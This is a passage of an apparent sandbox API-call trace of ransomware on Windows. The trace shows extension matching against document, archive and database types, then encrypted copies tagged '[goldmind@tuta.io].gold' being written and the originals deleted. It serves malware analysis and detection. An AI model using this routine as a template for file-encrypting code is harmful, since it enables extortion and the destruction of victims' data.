(lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".doc") returned 4 [0034.517] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString=".docx") returned 5 [0034.517] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0034.517] lstrlenW (lpString=".pdf") returned 4 [0034.517] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".xls") returned 4 [0034.517] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".xlsx") returned 5 [0034.517] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0034.517] lstrlenW (lpString=".ppt") returned 4 [0034.517] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".zip") returned 4 [0034.517] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".rar") returned 4 [0034.517] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".bz2") returned 4 [0034.517] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString=".7z") returned 3 [0034.517] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".dbf") returned 4 [0034.517] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0034.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.518] lstrlenW (lpString=".1cd") returned 4 [0034.518] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0034.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.518] lstrlenW (lpString=".jpg") returned 4 [0034.518] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0034.518] lstrcmpiW (lpString1=".LOG", lpString2=".gold") returned 1 [0034.518] lstrlenW (lpString="BCD.LOG") returned 7 [0034.518] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".doc") returned 4 [0034.518] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString=".docx") returned 5 [0034.518] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0034.518] lstrlenW (lpString=".pdf") returned 4 [0034.518] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0034.518] lstrlenW (lpString=".xls") returned 4 [0034.518] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0034.518] lstrlenW (lpString=".xlsx") returned 5 [0034.518] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0034.518] lstrlenW (lpString=".ppt") returned 4 [0034.518] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".zip") returned 4 [0034.518] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0034.518] lstrlenW (lpString=".rar") returned 4 [0034.518] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0034.518] lstrlenW (lpString=".bz2") returned 4 [0034.518] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString=".7z") returned 3 [0034.518] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".dbf") returned 4 [0034.518] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".1cd") returned 4 [0034.518] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".jpg") returned 4 [0034.518] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.518] lstrlenW (lpString=".doc") returned 4 [0034.518] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0034.518] lstrlenW (lpString=".docx") returned 5 [0034.518] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0034.518] lstrlenW (lpString=".pdf") returned 4 [0034.519] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0034.519] lstrlenW (lpString=".xls") returned 4 [0034.519] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0034.519] lstrlenW (lpString=".xlsx") returned 5 [0034.519] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0034.519] lstrlenW (lpString=".ppt") returned 4 [0034.519] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0034.519] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.519] lstrlenW (lpString=".zip") returned 4 [0034.519] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0034.519] lstrlenW (lpString=".rar") returned 4 [0034.519] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0034.519] lstrlenW (lpString=".bz2") returned 4 [0034.519] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0034.519] lstrlenW (lpString=".7z") returned 3 [0034.519] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0034.519] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.519] lstrlenW (lpString=".dbf") returned 4 [0034.519] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0034.519] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.519] lstrlenW (lpString=".1cd") returned 4 [0034.519] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0034.519] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.519] lstrlenW (lpString=".jpg") returned 4 [0034.519] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0034.519] lstrcmpiW (lpString1=".DAT", lpString2=".gold") returned -1 [0034.519] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0034.519] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.519] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=65536) returned 1 [0034.519] CloseHandle (hObject=0x178) returned 1 [0034.519] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0034.519] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.520] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.520] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.520] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.520] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.520] GetLastError () returned 0x0 [0034.520] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x10000, lpOverlapped=0x0) returned 1 [0034.522] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0034.523] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.523] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.523] SetEndOfFile (hFile=0x17c) returned 1 [0034.523] CloseHandle (hObject=0x17c) returned 1 [0034.524] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.524] SetEndOfFile (hFile=0x178) returned 1 [0034.525] CloseHandle (hObject=0x178) returned 1 [0034.525] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x26) returned 1 [0034.526] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".doc") returned 4 [0034.526] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString=".docx") returned 5 [0034.526] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0034.526] lstrlenW (lpString=".pdf") returned 4 [0034.526] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString=".xls") returned 4 [0034.526] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString=".xlsx") returned 5 [0034.526] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0034.526] lstrlenW (lpString=".ppt") returned 4 [0034.526] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".zip") returned 4 [0034.526] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString=".rar") returned 4 [0034.526] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString=".bz2") returned 4 [0034.526] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0034.526] lstrlenW (lpString=".7z") returned 3 [0034.526] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".dbf") returned 4 [0034.526] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".1cd") returned 4 [0034.526] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".jpg") returned 4 [0034.526] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.526] lstrlenW (lpString=".doc") returned 4 [0034.527] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString=".docx") returned 5 [0034.527] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0034.527] lstrlenW (lpString=".pdf") returned 4 [0034.527] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString=".xls") returned 4 [0034.527] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString=".xlsx") returned 5 [0034.527] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0034.527] lstrlenW (lpString=".ppt") returned 4 [0034.527] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.527] lstrlenW (lpString=".zip") returned 4 [0034.527] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString=".rar") returned 4 [0034.527] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString=".bz2") returned 4 [0034.527] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0034.527] lstrlenW (lpString=".7z") returned 3 [0034.527] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0034.527] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.527] lstrlenW (lpString=".dbf") returned 4 [0034.527] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0034.527] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.527] lstrlenW (lpString=".1cd") returned 4 [0034.527] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0034.527] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.527] lstrlenW (lpString=".jpg") returned 4 [0034.527] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0034.527] lstrcmpiW (lpString1=".BAK", lpString2=".gold") returned -1 [0034.527] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0034.527] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.528] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8192) returned 1 [0034.528] CloseHandle (hObject=0x178) returned 1 [0034.528] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0034.528] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\bootsect.bak.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.528] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0034.528] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.528] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.528] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.528] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\bootsect.bak.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.529] GetLastError () returned 0x0 [0034.529] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2000, lpOverlapped=0x0) returned 1 [0034.530] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0034.531] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.531] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.531] SetEndOfFile (hFile=0x17c) returned 1 [0034.531] CloseHandle (hObject=0x17c) returned 1 [0034.532] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.532] SetEndOfFile (hFile=0x178) returned 1 [0034.533] CloseHandle (hObject=0x178) returned 1 [0034.533] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x27) returned 1 [0034.533] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".doc") returned 4 [0034.534] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".docx") returned 5 [0034.534] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.534] lstrlenW (lpString=".pdf") returned 4 [0034.534] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".xls") returned 4 [0034.534] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".xlsx") returned 5 [0034.534] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.534] lstrlenW (lpString=".ppt") returned 4 [0034.534] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".zip") returned 4 [0034.534] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".rar") returned 4 [0034.534] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".bz2") returned 4 [0034.534] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".7z") returned 3 [0034.534] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".dbf") returned 4 [0034.534] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".1cd") returned 4 [0034.534] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".jpg") returned 4 [0034.534] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.534] lstrlenW (lpString=".doc") returned 4 [0034.534] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".docx") returned 5 [0034.534] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.534] lstrlenW (lpString=".pdf") returned 4 [0034.534] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.534] lstrlenW (lpString=".xls") returned 4 [0034.534] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString=".xlsx") returned 5 [0034.535] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.535] lstrlenW (lpString=".ppt") returned 4 [0034.535] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.535] lstrlenW (lpString=".zip") returned 4 [0034.535] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString=".rar") returned 4 [0034.535] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString=".bz2") returned 4 [0034.535] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString=".7z") returned 3 [0034.535] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.535] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.535] lstrlenW (lpString=".dbf") returned 4 [0034.535] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.535] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.535] lstrlenW (lpString=".1cd") returned 4 [0034.535] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.535] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.535] lstrlenW (lpString=".jpg") returned 4 [0034.535] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.535] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.535] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0034.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.536] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1565) returned 1 [0034.536] CloseHandle (hObject=0x178) returned 1 [0034.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0034.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.536] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.536] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.536] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.536] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.537] GetLastError () returned 0x0 [0034.537] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x61d, lpOverlapped=0x0) returned 1 [0034.704] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x620, lpOverlapped=0x0) returned 1 [0034.705] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.705] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.705] SetEndOfFile (hFile=0x17c) returned 1 [0034.705] CloseHandle (hObject=0x17c) returned 1 [0034.706] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.706] SetEndOfFile (hFile=0x178) returned 1 [0034.706] CloseHandle (hObject=0x178) returned 1 [0034.706] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.757] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0034.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.757] lstrlenW (lpString=".doc") returned 4 [0034.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.757] lstrlenW (lpString=".docx") returned 5 [0034.757] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.757] lstrlenW (lpString=".pdf") returned 4 [0034.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.757] lstrlenW (lpString=".xls") returned 4 [0034.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.757] lstrlenW (lpString=".xlsx") returned 5 [0034.757] lstrcmpiW 